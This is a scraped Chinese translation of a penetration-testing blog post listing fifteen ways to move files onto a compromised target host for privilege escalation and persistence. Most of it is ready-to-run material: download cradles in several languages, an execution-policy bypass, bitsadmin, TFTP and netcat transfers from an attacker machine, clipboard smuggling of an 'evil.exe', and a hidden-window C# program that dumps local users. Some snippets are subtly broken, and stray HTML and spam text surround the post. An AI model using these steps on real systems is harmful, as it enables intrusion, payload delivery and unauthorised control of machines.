<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/2420

            from:https://www.netspi.com/blog/entryid/231/15-ways-to-download-a-file

            在我們的入侵過程中,通常會需要向目標主機傳送一些文件,來達到提權,維持控制等目的。這篇blog列舉了15種下載文件的方法。

            當然還有許多其它的辦法來上傳文件,下面的列表是15個我比較喜歡使用的技巧。

            PowerShell File Download

            PowerShell 是一種winodws原生的腳本語言,對于熟練使用它的人來說,可以實現很多復雜的功能。

            在windows 2003之中默認支持這種腳本。

            下面這兩條指令實現了從Internet網絡下載一個文件。

            $p = New-Object System.Net.WebClient
            $p.DownloadFile("http://domain/file" "C:\%homepath%\file")
            

            下面這條指令是執行一個文件

            PS C:\> .\test.ps1
            

            有的時候PowerShell的執行權限會被關閉,需要使用如下的語句打開。

            C:\>powershell set-executionpolicy unrestricted
            

            Visual Basic File Download

            在1998年Visual Basic最終標準在windows上確定。下面的代碼可以實現下載文件,雖然它的長度比Powershell長多了。

            Set args = Wscript.Arguments
            Url = "http://domain/file"
            dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
            dim bStrm: Set bStrm = createobject("Adodb.Stream")
            xHttp.Open "GET", Url, False
            xHttp.Send
            with bStrm
                .type = 1 '
                .open
                .write xHttp.responseBody
                .savetofile " C:\%homepath%\file", 2 '
            end with
            

            在windows中Cscript指令可以允許你執行VBS腳本文件或者對script腳本做一些設置。在windows 7中這個指令并不是必須要用到。 但是在windows XP中需要使用這條指令,如下所示。

            C:>cscript test.vbs

            以下四種語言都不是系統原生腳本,但是如果你的目標機器安裝了這些語言,你就可以使用他們來下載文件。

            Perl File Download

            Perl是一門很吊的語言,使用它基本可以實現任何事情,用它實現文件下載也很簡單。

            #!perl
            #!/usr/bin/perl
            use LWP::Simple;
            getstore("http://domain/file", "file");
            

            執行腳本文件是這樣

            [email protected]:~# perl test.pl
            

            Python File Download

            Python也是很受歡迎的主流腳本語言,代碼清晰且簡潔。

            #!python
            #!/usr/bin/python
            import urllib2
            u = urllib2.urlopen('http://domain/file')
            localFile = open('local_file', 'w')
            localFile.write(u.read())
            localFile.close()
            

            執行腳本文件是這樣

            [email protected]:~# python test.py
            

            Ruby File Download

            Ruby是一個面對對象的語言,Metasploit框架就是用它來實現的,當然他也可以實現像下載文件這樣的小任務。

            #!ruby
            #!/usr/bin/ruby
            require 'net/http'
            Net::HTTP.start("www.domain.com") { |http|
            r = http.get("/file")
            open("save_location", "wb") { |file|
            file.write(r.body)
            }
            }
            

            執行腳本文件是這樣

            [email protected]:~# ruby test.rb
            

            PHP File Download

            PHP作為一種服務端腳本,也可以實現下載文件這種功能。

            #!/usr/bin/php
            <?php
                    $data = @file("http://example.com/file");
                    $lf = "local_file";
                    $fh = fopen($lf, 'w');
                    fwrite($fh, $data[0]);
                    fclose($fh);
            ?>
            

            執行腳本文件是這樣

            [email protected]:~# php test.php
            

            下面的上傳文件的方法,可能需要更多得步驟,但是有些情況下卻可以繞過去多限制。

            FTP File Download

            一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash腳本,考慮到了交互的情況,可以直接執行并不會產生交互動作。

            ftp 127.0.0.1
            username
            password
            get file
            exit
            

            TFTP File Download

            在Windows Vista以及以后的版本中默認有FTP,可以使用以下命令運行:

            tftp -i host GET C:\%homepath%\file location_of_file_on_tftp_server
            

            Bitsadmin File Download

            Bitsadmin是Windows命令行工具,用戶可以使用它來創建下載或上傳的任務。

            bitsadmin /transfer n http://domain/file c:\%homepath%\file
            

            Wget File Download

            Wget是Linux和Windows下的一個工具,允許非交互下載。

            wget http://example.com/file
            

            Netcat File Download

            Netcat在linux上的實例:

            攻擊者的電腦上輸入:

            cat file | nc -l 1234
            

            這個命令會將file的內容輸出到本地的1234端口中,然后不論誰連接此端口,file的內容將會發送到連接過來的IP。

            目標電腦上的命令:

            nc host_ip 1234 > file
            

            這條命令將連接攻擊者的電腦,接受file內容保存。

            Windows Share File Download

            Windows shares可以加載一個驅動器,然后用命令來復制文件。

            加載遠程驅動:

             net use x: \\127.0.0.1\share /user:example.com\userID myPassword
            

            Notepad Dialog Box File Download

            如果你有權限接入一臺(遠程連接或者物理機)電腦,但是你用戶權限不允許打開瀏覽器,這種方式可以讓你快速的從一個URL或者UNC路徑當中下載文件。

            1.打開notepad 2.點擊file - open

            在File Name當中輸入完整的URL:

            enter image description here

            Notepad將會獲取URL的內容展現出來。

            Exe to Txt, and Txt to Exe with PowerShell and Nishang

            http://code.google.com/p/nishang/downloads/list

            當需要把一個exe文件放到目標計算機上時,這可能是我最喜歡的工具,Nishang使用PowerShell允許你吧一個exe轉換成hex,然后吧hex再轉換成原來的exe文件。

            把exe轉成hex文件輸入:

            PS > .\ExetoText.ps1 evil.exe evil.txt
            

            打開evil.txt文件,復制內容,然后通過RDP的剪貼板復制進目標計算機。

            把hex文件還原成exe文件輸入:

            PS > .\TexttoExe.ps1 evil.text evil.exe
            

            Csc.exe to Compile Source from a File

            C的編譯器(CSC)是包含在在Windows微軟.NET安裝中的命令行編譯器。

            這個可執行文件的默認位置是以下情況:

            C:\Windows\Microsoft.NET\Framework\version
            

            使用下面的示例代碼,編譯后的可執行文件將使用的cmd.exe來查詢本地用戶,然后將結果寫入一個在C:\Temp\users.txt中。可以修改其中的代碼,達到自己想要的目的,然后編譯成exe文件。

            public class Evil
            {
               public static void Main()
               {
                  System.Diagnostics.Process process = new System.Diagnostics.Process();
                  System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
                  startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
                  startInfo.FileName = "cmd.exe";
                  startInfo.Arguments = "/C net users > C:\\Temp\\users.txt";
                  process.StartInfo = startInfo;
                  process.Start();
               }
            }
            

            代碼編譯命令:

            csc.exe /out:C:\evil\evil.exe C:\evil\evil.cs
            

            Wrap up

            希望這篇blog對你有所幫助。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线